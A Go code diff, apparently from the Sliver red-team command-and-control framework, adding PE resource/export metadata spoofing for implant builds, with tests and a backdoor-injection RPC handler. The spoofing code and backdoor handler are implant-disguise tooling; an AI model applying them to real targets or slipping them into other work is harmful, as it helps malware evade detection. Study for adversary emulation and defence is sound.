if resourceDirectory != nil {
|
||||
binary.LittleEndian.PutUint32(modifiedData[0:4], resourceDirectory.Characteristics)
|
||||
binary.LittleEndian.PutUint32(modifiedData[4:8], resourceDirectory.TimeDateStamp)
|
||||
binary.LittleEndian.PutUint16(modifiedData[8:10], resourceDirectory.MajorVersion)
|
||||
binary.LittleEndian.PutUint16(modifiedData[10:12], resourceDirectory.MinorVersion)
|
||||
binary.LittleEndian.PutUint16(modifiedData[12:14], resourceDirectory.NumberOfNamedEntries)
|
||||
binary.LittleEndian.PutUint16(modifiedData[14:16], resourceDirectory.NumberOfIdEntries)
|
||||
}
|
||||
|
||||
if len(resourceDirectoryEntries) > 0 {
|
||||
rootEntriesCount := int(binary.LittleEndian.Uint16(modifiedData[12:14])) +
|
||||
int(binary.LittleEndian.Uint16(modifiedData[14:16]))
|
||||
if len(resourceDirectoryEntries) > rootEntriesCount {
|
||||
return nil, fmt.Errorf(
|
||||
"resource_directory_entries has %d entries but root directory only has %d entries",
|
||||
len(resourceDirectoryEntries),
|
||||
rootEntriesCount,
|
||||
)
|
||||
}
|
||||
for i, entry := range resourceDirectoryEntries {
|
||||
if entry == nil {
|
||||
continue
|
||||
}
|
||||
entryOffset := 16 + (i * 8)
|
||||
if entryOffset+8 > len(modifiedData) {
|
||||
return nil, errors.New("resource directory entry out of bounds")
|
||||
}
|
||||
binary.LittleEndian.PutUint32(modifiedData[entryOffset:entryOffset+4], entry.Name)
|
||||
binary.LittleEndian.PutUint32(modifiedData[entryOffset+4:entryOffset+8], entry.OffsetToData)
|
||||
}
|
||||
}
|
||||
|
||||
if len(resourceDataEntries) > 0 {
|
||||
dataEntryOffsets, err := collectResourceDataEntryOffsets(modifiedData)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(resourceDataEntries) > len(dataEntryOffsets) {
|
||||
return nil, fmt.Errorf(
|
||||
"resource_data_entries has %d entries but resource tree only has %d data entries",
|
||||
len(resourceDataEntries),
|
||||
len(dataEntryOffsets),
|
||||
)
|
||||
}
|
||||
for i, entry := range resourceDataEntries {
|
||||
if entry == nil {
|
||||
continue
|
||||
}
|
||||
dataEntryOffset := dataEntryOffsets[i]
|
||||
if dataEntryOffset+16 > uint32(len(modifiedData)) {
|
||||
return nil, errors.New("resource data entry out of bounds")
|
||||
}
|
||||
offset := int(dataEntryOffset)
|
||||
binary.LittleEndian.PutUint32(modifiedData[offset:offset+4], entry.OffsetToData)
|
||||
binary.LittleEndian.PutUint32(modifiedData[offset+4:offset+8], entry.Size)
|
||||
binary.LittleEndian.PutUint32(modifiedData[offset+8:offset+12], entry.CodePage)
|
||||
binary.LittleEndian.PutUint32(modifiedData[offset+12:offset+16], entry.Reserved)
|
||||
}
|
||||
}
|
||||
|
||||
return modifiedData, nil
|
||||
}
|
||||
|
||||
func collectResourceDataEntryOffsets(data []byte) ([]uint32, error) {
|
||||
offsets := make([]uint32, 0)
|
||||
seen := map[uint32]struct{}{}
|
||||
if err := traverseCollectResourceDataEntryOffsets(data, 0, 0, seen, &offsets); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return offsets, nil
|
||||
}
|
||||
|
||||
func traverseCollectResourceDataEntryOffsets(data []byte, offset uint32, depth int, seen map[uint32]struct{}, offsets *[]uint32) error {
|
||||
if depth > 10 {
|
||||
return nil
|
||||
}
|
||||
if offset+16 > uint32(len(data)) {
|
||||
return errors.New("resource directory out of bounds")
|
||||
}
|
||||
|
||||
var dir IMAGE_RESOURCE_DIRECTORY
|
||||
br := bytes.NewReader(data[offset:])
|
||||
if err := binary.Read(br, binary.LittleEndian, &dir); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
entries := int(dir.NumberOfNamedEntries + dir.NumberOfIdEntries)
|
||||
entryOffset := offset + 16
|
||||
for i := 0; i < entries; i++ {
|
||||
if entryOffset+8 > uint32(len(data)) {
|
||||
return errors.New("resource directory entry out of bounds")
|
||||
}
|
||||
|
||||
entryDataOffset := binary.LittleEndian.Uint32(data[entryOffset+4 : entryOffset+8])
|
||||
if entryDataOffset&0x80000000 != 0 {
|
||||
subDirOffset := entryDataOffset & 0x7FFFFFFF
|
||||
if err := traverseCollectResourceDataEntryOffsets(data, subDirOffset, depth+1, seen, offsets); err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
if entryDataOffset+16 > uint32(len(data)) {
|
||||
return errors.New("resource data entry out of bounds")
|
||||
}
|
||||
if _, exists := seen[entryDataOffset]; !exists {
|
||||
seen[entryDataOffset] = struct{}{}
|
||||
*offsets = append(*offsets, entryDataOffset)
|
||||
}
|
||||
}
|
||||
|
||||
entryOffset += 8
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func applyPEExportOverrides(peFile *pe.File, exportDirectory *IMAGE_EXPORT_DIRECTORY) error {
|
||||
if exportDirectory == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
section, sectionData, sectionOffset, err := exportDirectorySectionData(peFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if section == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
modifiedData, err := applyExportDirectoryOverrides(sectionData, sectionOffset, exportDirectory)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
section.Replace(bytes.NewReader(modifiedData), int64(len(modifiedData)))
|
||||
return nil
|
||||
}
|
||||
|
||||
func applyExportDirectoryOverrides(sectionData []byte, sectionOffset uint32, exportDirectory *IMAGE_EXPORT_DIRECTORY) ([]byte, error) {
|
||||
if exportDirectory == nil {
|
||||
return append([]byte(nil), sectionData...), nil
|
||||
}
|
||||
|
||||
const exportDirectorySize = 40
|
||||
if sectionOffset+exportDirectorySize > uint32(len(sectionData)) {
|
||||
return nil, errors.New("export directory out of bounds")
|
||||
}
|
||||
|
||||
modifiedData := append([]byte(nil), sectionData...)
|
||||
offset := int(sectionOffset)
|
||||
|
||||
binary.LittleEndian.PutUint32(modifiedData[offset:offset+4], exportDirectory.Characteristics)
|
||||
binary.LittleEndian.PutUint32(modifiedData[offset+4:offset+8], exportDirectory.TimeDateStamp)
|
||||
binary.LittleEndian.PutUint16(modifiedData[offset+8:offset+10], exportDirectory.MajorVersion)
|
||||
binary.LittleEndian.PutUint16(modifiedData[offset+10:offset+12], exportDirectory.MinorVersion)
|
||||
binary.LittleEndian.PutUint32(modifiedData[offset+12:offset+16], exportDirectory.Name)
|
||||
binary.LittleEndian.PutUint32(modifiedData[offset+16:offset+20], exportDirectory.Base)
|
||||
binary.LittleEndian.PutUint32(modifiedData[offset+20:offset+24], exportDirectory.NumberOfFunctions)
|
||||
binary.LittleEndian.PutUint32(modifiedData[offset+24:offset+28], exportDirectory.NumberOfNames)
|
||||
binary.LittleEndian.PutUint32(modifiedData[offset+28:offset+32], exportDirectory.AddressOfFunctions)
|
||||
binary.LittleEndian.PutUint32(modifiedData[offset+32:offset+36], exportDirectory.AddressOfNames)
|
||||
binary.LittleEndian.PutUint32(modifiedData[offset+36:offset+40], exportDirectory.AddressOfNameOrdinals)
|
||||
|
||||
return modifiedData, nil
|
||||
}
|
||||
|
||||
func exportDirectorySectionData(peFile *pe.File) (*pe.Section, []byte, uint32, error) {
|
||||
var va uint32
|
||||
var size uint32
|
||||
switch hdr := peFile.OptionalHeader.(type) {
|
||||
case *pe.OptionalHeader32:
|
||||
va = hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
|
||||
size = hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].Size
|
||||
case *pe.OptionalHeader64:
|
||||
va = hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
|
||||
size = hdr.DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].Size
|
||||
}
|
||||
if va == 0 || size == 0 {
|
||||
return nil, nil, 0, nil
|
||||
}
|
||||
|
||||
for _, section := range peFile.Sections {
|
||||
if va >= section.VirtualAddress && va < section.VirtualAddress+section.Size {
|
||||
sectionOffset := va - section.VirtualAddress
|
||||
sectionData, err := section.Data()
|
||||
if err != nil {
|
||||
return nil, nil, 0, err
|
||||
}
|
||||
if sectionOffset > uint32(len(sectionData)) {
|
||||
return nil, nil, 0, errors.New("export directory out of bounds")
|
||||
}
|
||||
return section, sectionData, sectionOffset, nil
|
||||
}
|
||||
}
|
||||
return nil, nil, 0, nil
|
||||
}
|
||||
|
||||
// INTERNAL UTILITIES AND FIXUPS ==============================================
|
||||
// ============================================================================
|
||||
func updateResourceTimestamp(data []byte, timestamp uint32) {
|
||||
if len(data) < 16 {
|
||||
return
|
||||
}
|
||||
binary.LittleEndian.PutUint32(data[4:], timestamp)
|
||||
traverseUpdateTimestamp(data, 0, timestamp, 0)
|
||||
}
|
||||
|
||||
func traverseUpdateTimestamp(data []byte, offset uint32, timestamp uint32, depth int) {
|
||||
if depth > 10 || offset+16 > uint32(len(data)) {
|
||||
return
|
||||
}
|
||||
|
||||
binary.LittleEndian.PutUint32(data[offset+4:], timestamp)
|
||||
|
||||
var dir IMAGE_RESOURCE_DIRECTORY
|
||||
br := bytes.NewReader(data[offset:])
|
||||
if err := binary.Read(br, binary.LittleEndian, &dir); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
entries := int(dir.NumberOfNamedEntries + dir.NumberOfIdEntries)
|
||||
entryOffset := offset + 16
|
||||
|
||||
for i := 0; i < entries; i++ {
|
||||
if entryOffset+8 > uint32(len(data)) {
|
||||
return
|
||||
}
|
||||
|
||||
var entry IMAGE_RESOURCE_DIRECTORY_ENTRY
|
||||
brEntry := bytes.NewReader(data[entryOffset:])
|
||||
if err := binary.Read(brEntry, binary.LittleEndian, &entry); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if entry.OffsetToData&0x80000000 != 0 {
|
||||
subDirOffset := entry.OffsetToData & 0x7FFFFFFF
|
||||
traverseUpdateTimestamp(data, subDirOffset, timestamp, depth+1)
|
||||
}
|
||||
entryOffset += 8
|
||||
}
|
||||
}
|
||||
|
||||
func updateExportTimestamp(peFile *pe.File, timestamp uint32) error {
|
||||
section, sectionData, sectionOffset, err := exportDirectorySectionData(peFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if section == nil {
|
||||
return nil
|
||||
}
|
||||
if uint32(len(sectionData)) > sectionOffset+8 {
|
||||
binary.LittleEndian.PutUint32(sectionData[sectionOffset+4:], timestamp)
|
||||
section.Replace(bytes.NewReader(sectionData), int64(len(sectionData)))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func fixupResourceRVAs(data []byte, delta int64) error {
|
||||
return traverseResourceDir(data, 0, delta, 0)
|
||||
}
|
||||
|
||||
func traverseResourceDir(data []byte, offset uint32, delta int64, depth int) error {
|
||||
if depth > 10 {
|
||||
return nil
|
||||
}
|
||||
if offset+16 > uint32(len(data)) {
|
||||
return errors.New("resource directory out of bounds")
|
||||
}
|
||||
|
||||
br := bytes.NewReader(data[offset:])
|
||||
var dir IMAGE_RESOURCE_DIRECTORY
|
||||
if err := binary.Read(br, binary.LittleEndian, &dir); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
entries := int(dir.NumberOfNamedEntries + dir.NumberOfIdEntries)
|
||||
entryOffset := offset + 16
|
||||
|
||||
for i := 0; i < entries; i++ {
|
||||
if entryOffset+8 > uint32(len(data)) {
|
||||
return errors.New("resource directory entry out of bounds")
|
||||
}
|
||||
|
||||
var entry IMAGE_RESOURCE_DIRECTORY_ENTRY
|
||||
brEntry := bytes.NewReader(data[entryOffset:])
|
||||
if err := binary.Read(brEntry, binary.LittleEndian, &entry); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if entry.OffsetToData&0x80000000 != 0 {
|
||||
subDirOffset := entry.OffsetToData & 0x7FFFFFFF
|
||||
if err := traverseResourceDir(data, subDirOffset, delta, depth+1); err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
dataEntryOffset := entry.OffsetToData
|
||||
if dataEntryOffset+16 > uint32(len(data)) {
|
||||
return errors.New("resource data entry out of bounds")
|
||||
}
|
||||
|
||||
var dataEntry IMAGE_RESOURCE_DATA_ENTRY
|
||||
brData := bytes.NewReader(data[dataEntryOffset:])
|
||||
if err := binary.Read(brData, binary.LittleEndian, &dataEntry); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
newRVA := uint32(int64(dataEntry.OffsetToData) + delta)
|
||||
binary.LittleEndian.PutUint32(data[dataEntryOffset:], newRVA)
|
||||
}
|
||||
|
||||
entryOffset += 8
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func calcChecksum(data []byte) uint32 {
|
||||
var sum uint64
|
||||
|
||||
for i := 0; i < len(data)/2; i++ {
|
||||
sum += uint64(binary.LittleEndian.Uint16(data[i*2:]))
|
||||
sum = (sum & 0xffffffff) + (sum >> 32)
|
||||
}
|
||||
|
||||
if len(data)%2 != 0 {
|
||||
sum += uint64(data[len(data)-1])
|
||||
sum = (sum & 0xffffffff) + (sum >> 32)
|
||||
}
|
||||
|
||||
sum = (sum & 0xffff) + (sum >> 16)
|
||||
sum = sum + (sum >> 16)
|
||||
|
||||
return uint32(sum&0xffff) + uint32(len(data))
|
||||
}
|
||||
|
||||
func alignUp(value, align uint32) uint32 {
|
||||
if align == 0 {
|
||||
align = 0x1000
|
||||
}
|
||||
return (value + align - 1) & ^(align - 1)
|
||||
}
|
||||
|
||||
func addSection(peFile *pe.File, name string, size uint32) (*pe.Section, error) {
|
||||
var (
|
||||
virtualSize uint32
|
||||
virtualAddr uint32
|
||||
rawSize uint32
|
||||
rawPtr uint32
|
||||
origName [8]byte
|
||||
sectionHeaderSize = int64(0x28)
|
||||
)
|
||||
|
||||
if len(name) > SECTION_NAME {
|
||||
return nil, errors.New("name too long")
|
||||
}
|
||||
|
||||
headerOffset := peFile.OptionalHeaderOffset + int64(peFile.SizeOfOptionalHeader) + (int64(peFile.NumberOfSections) * sectionHeaderSize)
|
||||
lastSection := peFile.Sections[peFile.NumberOfSections-1]
|
||||
|
||||
var sectionAlignment, fileAlignment uint32
|
||||
var sizeOfHeaders uint32
|
||||
|
||||
switch hdr := (peFile.OptionalHeader).(type) {
|
||||
case *pe.OptionalHeader32:
|
||||
sectionAlignment = hdr.SectionAlignment
|
||||
fileAlignment = hdr.FileAlignment
|
||||
sizeOfHeaders = hdr.SizeOfHeaders
|
||||
case *pe.OptionalHeader64:
|
||||
sectionAlignment = hdr.SectionAlignment
|
||||
fileAlignment = hdr.FileAlignment
|
||||
sizeOfHeaders = hdr.SizeOfHeaders
|
||||
default:
|
||||
return nil, errors.New("unknown optional header type")
|
||||
}
|
||||
|
||||
if headerOffset+sectionHeaderSize > int64(sizeOfHeaders) {
|
||||
return nil, errors.New("not enough room for an additional section")
|
||||
}
|
||||
|
||||
virtualSize = alignUp(size, sectionAlignment)
|
||||
virtualAddr = alignUp(lastSection.VirtualAddress+lastSection.VirtualSize, sectionAlignment)
|
||||
rawSize = alignUp(size, fileAlignment)
|
||||
rawPtr = alignUp(lastSection.Offset+lastSection.Size, fileAlignment)
|
||||
|
||||
switch hdr := (peFile.OptionalHeader).(type) {
|
||||
case *pe.OptionalHeader32:
|
||||
hdr.SizeOfImage = virtualAddr + virtualSize
|
||||
case *pe.OptionalHeader64:
|
||||
hdr.SizeOfImage = virtualAddr + virtualSize
|
||||
}
|
||||
|
||||
newSection := new(pe.Section)
|
||||
newSection.Name = name
|
||||
copy(origName[:], []byte(name+"\x00"))
|
||||
newSection.OriginalName = origName
|
||||
newSection.Characteristics = DEFAULT_CHARACTERISTICS
|
||||
newSection.Size = rawSize
|
||||
newSection.VirtualSize = virtualSize
|
||||
newSection.VirtualAddress = virtualAddr
|
||||
newSection.Offset = rawPtr
|
||||
|
||||
peFile.FileHeader.NumberOfSections += 1
|
||||
peFile.Sections = append(peFile.Sections, newSection)
|
||||
return newSection, nil
|
||||
}
|
||||
@@ -0,0 +1,163 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestApplyResourceSectionOverrides(t *testing.T) {
|
||||
sectionData := makeTestResourceSectionData()
|
||||
|
||||
updatedData, err := applyResourceSectionOverrides(
|
||||
sectionData,
|
||||
&IMAGE_RESOURCE_DIRECTORY{
|
||||
Characteristics: 0x10203040,
|
||||
TimeDateStamp: 0x50607080,
|
||||
MajorVersion: 9,
|
||||
MinorVersion: 7,
|
||||
NumberOfNamedEntries: 0,
|
||||
NumberOfIdEntries: 1,
|
||||
},
|
||||
[]*IMAGE_RESOURCE_DIRECTORY_ENTRY{
|
||||
{Name: 77, OffsetToData: 24},
|
||||
},
|
||||
[]*IMAGE_RESOURCE_DATA_ENTRY{
|
||||
{OffsetToData: 0x12345678, Size: 0x22, CodePage: 65001, Reserved: 1},
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
t.Fatalf("applyResourceSectionOverrides() error: %v", err)
|
||||
}
|
||||
|
||||
if got := binary.LittleEndian.Uint32(updatedData[0:4]); got != 0x10203040 {
|
||||
t.Fatalf("resource directory characteristics mismatch: got=0x%x", got)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint32(updatedData[4:8]); got != 0x50607080 {
|
||||
t.Fatalf("resource directory timestamp mismatch: got=0x%x", got)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint16(updatedData[8:10]); got != 9 {
|
||||
t.Fatalf("resource directory major_version mismatch: got=%d", got)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint16(updatedData[10:12]); got != 7 {
|
||||
t.Fatalf("resource directory minor_version mismatch: got=%d", got)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint32(updatedData[16:20]); got != 77 {
|
||||
t.Fatalf("resource directory entry name mismatch: got=%d", got)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint32(updatedData[20:24]); got != 24 {
|
||||
t.Fatalf("resource directory entry offset mismatch: got=%d", got)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint32(updatedData[24:28]); got != 0x12345678 {
|
||||
t.Fatalf("resource data entry offset_to_data mismatch: got=0x%x", got)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint32(updatedData[28:32]); got != 0x22 {
|
||||
t.Fatalf("resource data entry size mismatch: got=%d", got)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint32(updatedData[32:36]); got != 65001 {
|
||||
t.Fatalf("resource data entry code_page mismatch: got=%d", got)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint32(updatedData[36:40]); got != 1 {
|
||||
t.Fatalf("resource data entry reserved mismatch: got=%d", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyResourceSectionOverridesRootEntryBounds(t *testing.T) {
|
||||
sectionData := makeTestResourceSectionData()
|
||||
|
||||
_, err := applyResourceSectionOverrides(
|
||||
sectionData,
|
||||
nil,
|
||||
[]*IMAGE_RESOURCE_DIRECTORY_ENTRY{
|
||||
{Name: 1, OffsetToData: 24},
|
||||
{Name: 2, OffsetToData: 24},
|
||||
},
|
||||
nil,
|
||||
)
|
||||
if err == nil {
|
||||
t.Fatal("expected error for root resource directory entry bounds")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "root directory only has 1 entries") {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyExportDirectoryOverrides(t *testing.T) {
|
||||
sectionData := make([]byte, 80)
|
||||
sectionOffset := uint32(12)
|
||||
updatedData, err := applyExportDirectoryOverrides(sectionData, sectionOffset, &IMAGE_EXPORT_DIRECTORY{
|
||||
Characteristics: 0x11111111,
|
||||
TimeDateStamp: 0x22222222,
|
||||
MajorVersion: 3,
|
||||
MinorVersion: 4,
|
||||
Name: 0x55555555,
|
||||
Base: 0x66666666,
|
||||
NumberOfFunctions: 0x77777777,
|
||||
NumberOfNames: 0x88888888,
|
||||
AddressOfFunctions: 0x99999999,
|
||||
AddressOfNames: 0xaaaaaaaa,
|
||||
AddressOfNameOrdinals: 0xbbbbbbbb,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("applyExportDirectoryOverrides() error: %v", err)
|
||||
}
|
||||
|
||||
base := int(sectionOffset)
|
||||
if got := binary.LittleEndian.Uint32(updatedData[base : base+4]); got != 0x11111111 {
|
||||
t.Fatalf("export characteristics mismatch: got=0x%x", got)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint32(updatedData[base+4 : base+8]); got != 0x22222222 {
|
||||
t.Fatalf("export timestamp mismatch: got=0x%x", got)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint16(updatedData[base+8 : base+10]); got != 3 {
|
||||
t.Fatalf("export major_version mismatch: got=%d", got)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint16(updatedData[base+10 : base+12]); got != 4 {
|
||||
t.Fatalf("export minor_version mismatch: got=%d", got)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint32(updatedData[base+12 : base+16]); got != 0x55555555 {
|
||||
t.Fatalf("export name mismatch: got=0x%x", got)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint32(updatedData[base+16 : base+20]); got != 0x66666666 {
|
||||
t.Fatalf("export base mismatch: got=0x%x", got)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint32(updatedData[base+20 : base+24]); got != 0x77777777 {
|
||||
t.Fatalf("export number_of_functions mismatch: got=0x%x", got)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint32(updatedData[base+24 : base+28]); got != 0x88888888 {
|
||||
t.Fatalf("export number_of_names mismatch: got=0x%x", got)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint32(updatedData[base+28 : base+32]); got != 0x99999999 {
|
||||
t.Fatalf("export address_of_functions mismatch: got=0x%x", got)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint32(updatedData[base+32 : base+36]); got != 0xaaaaaaaa {
|
||||
t.Fatalf("export address_of_names mismatch: got=0x%x", got)
|
||||
}
|
||||
if got := binary.LittleEndian.Uint32(updatedData[base+36 : base+40]); got != 0xbbbbbbbb {
|
||||
t.Fatalf("export address_of_name_ordinals mismatch: got=0x%x", got)
|
||||
}
|
||||
}
|
||||
|
||||
func makeTestResourceSectionData() []byte {
|
||||
data := make([]byte, 40)
|
||||
|
||||
// Root IMAGE_RESOURCE_DIRECTORY (16 bytes)
|
||||
binary.LittleEndian.PutUint32(data[0:4], 0x01020304) // Characteristics
|
||||
binary.LittleEndian.PutUint32(data[4:8], 0x05060708) // TimeDateStamp
|
||||
binary.LittleEndian.PutUint16(data[8:10], 1) // MajorVersion
|
||||
binary.LittleEndian.PutUint16(data[10:12], 2) // MinorVersion
|
||||
binary.LittleEndian.PutUint16(data[12:14], 0) // NumberOfNamedEntries
|
||||
binary.LittleEndian.PutUint16(data[14:16], 1) // NumberOfIdEntries
|
||||
|
||||
// One IMAGE_RESOURCE_DIRECTORY_ENTRY at offset 16.
|
||||
binary.LittleEndian.PutUint32(data[16:20], 10) // Name
|
||||
binary.LittleEndian.PutUint32(data[20:24], 24) // OffsetToData (points to IMAGE_RESOURCE_DATA_ENTRY)
|
||||
|
||||
// One IMAGE_RESOURCE_DATA_ENTRY at offset 24.
|
||||
binary.LittleEndian.PutUint32(data[24:28], 0x2000) // OffsetToData
|
||||
binary.LittleEndian.PutUint32(data[28:32], 0x40) // Size
|
||||
binary.LittleEndian.PutUint32(data[32:36], 0) // CodePage
|
||||
binary.LittleEndian.PutUint32(data[36:40], 0) // Reserved
|
||||
|
||||
return data
|
||||
}
|
||||
@@ -39,6 +39,11 @@ import (
|
||||
|
||||
// Backdoor - Inject a sliver payload in a file on the remote system
|
||||
func (rpc *Server) Backdoor(ctx context.Context, req *clientpb.BackdoorReq) (*clientpb.Backdoor, error) {
|
||||
resp := &clientpb.Backdoor{}
|
||||
if req == nil || req.Request == nil {
|
||||
return resp, ErrMissingRequestField
|
||||
}
|
||||
|
||||
var (
|
||||
name string
|
||||
err error
|
||||
@@ -55,8 +60,10 @@ func (rpc *Server) Backdoor(ctx context.Context, req *clientpb.BackdoorReq) (*cl
|
||||
name = req.Name
|
||||
}
|
||||
|
||||
resp := &clientpb.Backdoor{}
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
return nil, ErrInvalidSessionID
|
||||
}
|
||||
if session.OS != "windows" {
|
||||
return nil, status.Error(codes.InvalidArgument, fmt.Sprintf("%s is currently not supported", session.OS))
|
||||
}
|
||||
|
||||
@@ -146,6 +146,8 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
|
||||
Name: fileName,
|
||||
Data: fileData,
|
||||
},
|
||||
ImplantName: build.Name,
|
||||
ImplantBuildID: build.ID,
|
||||
}, err
|
||||
}
|
||||
|
||||
@@ -173,9 +175,246 @@ func (rpc *Server) Regenerate(ctx context.Context, req *clientpb.RegenerateReq)
|
||||
Name: build.Name + config.Extension,
|
||||
Data: fileData,
|
||||
},
|
||||
ImplantName: build.Name,
|
||||
ImplantBuildID: build.ID,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GenerateSpoofMetadata applies spoof metadata to an existing build artifact.
|
||||
func (rpc *Server) GenerateSpoofMetadata(_ context.Context, req *clientpb.GenerateSpoofMetadataReq) (*commonpb.Empty, error) {
|
||||
build, err := spoofMetadataTargetBuild(req)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
spoofConfig, err := spoofMetadataConfigFromProto(req.GetSpoofMetadata())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
buildData, err := generate.ImplantFileFromBuild(build)
|
||||
if err != nil {
|
||||
return nil, rpcError(err)
|
||||
}
|
||||
|
||||
tmpFile, err := os.CreateTemp(assets.GetRootAppDir(), "tmp-spoof-metadata-*")
|
||||
if err != nil {
|
||||
rpcLog.Errorf("Failed to create temporary file: %s", err)
|
||||
return nil, status.Error(codes.Internal, "failed to create temporary file")
|
||||
}
|
||||
defer os.Remove(tmpFile.Name())
|
||||
|
||||
if _, err = tmpFile.Write(buildData); err != nil {
|
||||
_ = tmpFile.Close()
|
||||
rcpGenLog.Errorf("Failed to write temporary build file: %s", err)
|
||||
return nil, status.Error(codes.Internal, "failed to write temporary build file")
|
||||
}
|
||||
if err = tmpFile.Close(); err != nil {
|
||||
rcpGenLog.Errorf("Failed to close temporary build file: %s", err)
|
||||
return nil, status.Error(codes.Internal, "failed to close temporary build file")
|
||||
}
|
||||
|
||||
if err = generate.SpoofMetadata(tmpFile.Name(), spoofConfig); err != nil {
|
||||
return nil, status.Error(codes.InvalidArgument, err.Error())
|
||||
}
|
||||
|
||||
modifiedBuildData, err := os.ReadFile(tmpFile.Name())
|
||||
if err != nil {
|
||||
return nil, rpcError(err)
|
||||
}
|
||||
|
||||
if err = generate.ImplantBuildUpdateFile(build, modifiedBuildData); err != nil {
|
||||
rpcLog.Errorf("Failed to update build %s: %s", build.ID, err)
|
||||
return nil, rpcError(err)
|
||||
}
|
||||
|
||||
core.EventBroker.Publish(core.Event{
|
||||
EventType: consts.BuildCompletedEvent,
|
||||
Data: []byte(build.Name),
|
||||
})
|
||||
|
||||
return &commonpb.Empty{}, nil
|
||||
}
|
||||
|
||||
func spoofMetadataTargetBuild(req *clientpb.GenerateSpoofMetadataReq) (*clientpb.ImplantBuild, error) {
|
||||
if req == nil {
|
||||
return nil, status.Error(codes.InvalidArgument, "missing request")
|
||||
}
|
||||
|
||||
var (
|
||||
build *clientpb.ImplantBuild
|
||||
err error
|
||||
)
|
||||
selected := 0
|
||||
|
||||
if req.GetImplantBuildID() != "" {
|
||||
selected++
|
||||
build, err = db.ImplantBuildByID(req.GetImplantBuildID())
|
||||
if err != nil {
|
||||
return nil, status.Error(codes.InvalidArgument, "invalid implant build id")
|
||||
}
|
||||
}
|
||||
if req.GetImplantName() != "" {
|
||||
selected++
|
||||
build, err = db.ImplantBuildByName(req.GetImplantName())
|
||||
if err != nil {
|
||||
return nil, status.Error(codes.InvalidArgument, "invalid implant name")
|
||||
}
|
||||
}
|
||||
if req.GetResourceID() != 0 {
|
||||
selected++
|
||||
build, err = db.ImplantBuildByResourceID(req.GetResourceID())
|
||||
if err != nil || build.GetID() == "" {
|
||||
return nil, status.Error(codes.InvalidArgument, "invalid resource id")
|
||||
}
|
||||
}
|
||||
if selected != 1 {
|
||||
return nil, status.Error(codes.InvalidArgument, "exactly one build selector is required (implant_build_id, implant_name, or resource_id)")
|
||||
}
|
||||
return build, nil
|
||||
}
|
||||
|
||||
func spoofMetadataConfigFromProto(req *clientpb.SpoofMetadataConfig) (*generate.SpoofMetadataConfig, error) {
|
||||
if req == nil {
|
||||
return nil, status.Error(codes.InvalidArgument, "missing spoof metadata configuration")
|
||||
}
|
||||
|
||||
config := &generate.SpoofMetadataConfig{}
|
||||
if req.GetPE() != nil {
|
||||
resourceDirectory, err := imageResourceDirectoryFromProto(req.GetPE().GetResourceDirectory())
|
||||
if err != nil {
|
||||
return nil, status.Error(codes.InvalidArgument, err.Error())
|
||||
}
|
||||
exportDirectory, err := imageExportDirectoryFromProto(req.GetPE().GetExportDirectory())
|
||||
if err != nil {
|
||||
return nil, status.Error(codes.InvalidArgument, err.Error())
|
||||
}
|
||||
config.PE = &generate.PESpoofMetadataConfig{
|
||||
Source: spoofMetadataFileFromProto(req.GetPE().GetSource()),
|
||||
Icon: spoofMetadataFileFromProto(req.GetPE().GetIcon()),
|
||||
ResourceDirectory: resourceDirectory,
|
||||
ResourceDirectoryEntries: imageResourceDirectoryEntriesFromProto(req.GetPE().GetResourceDirectoryEntries()),
|
||||
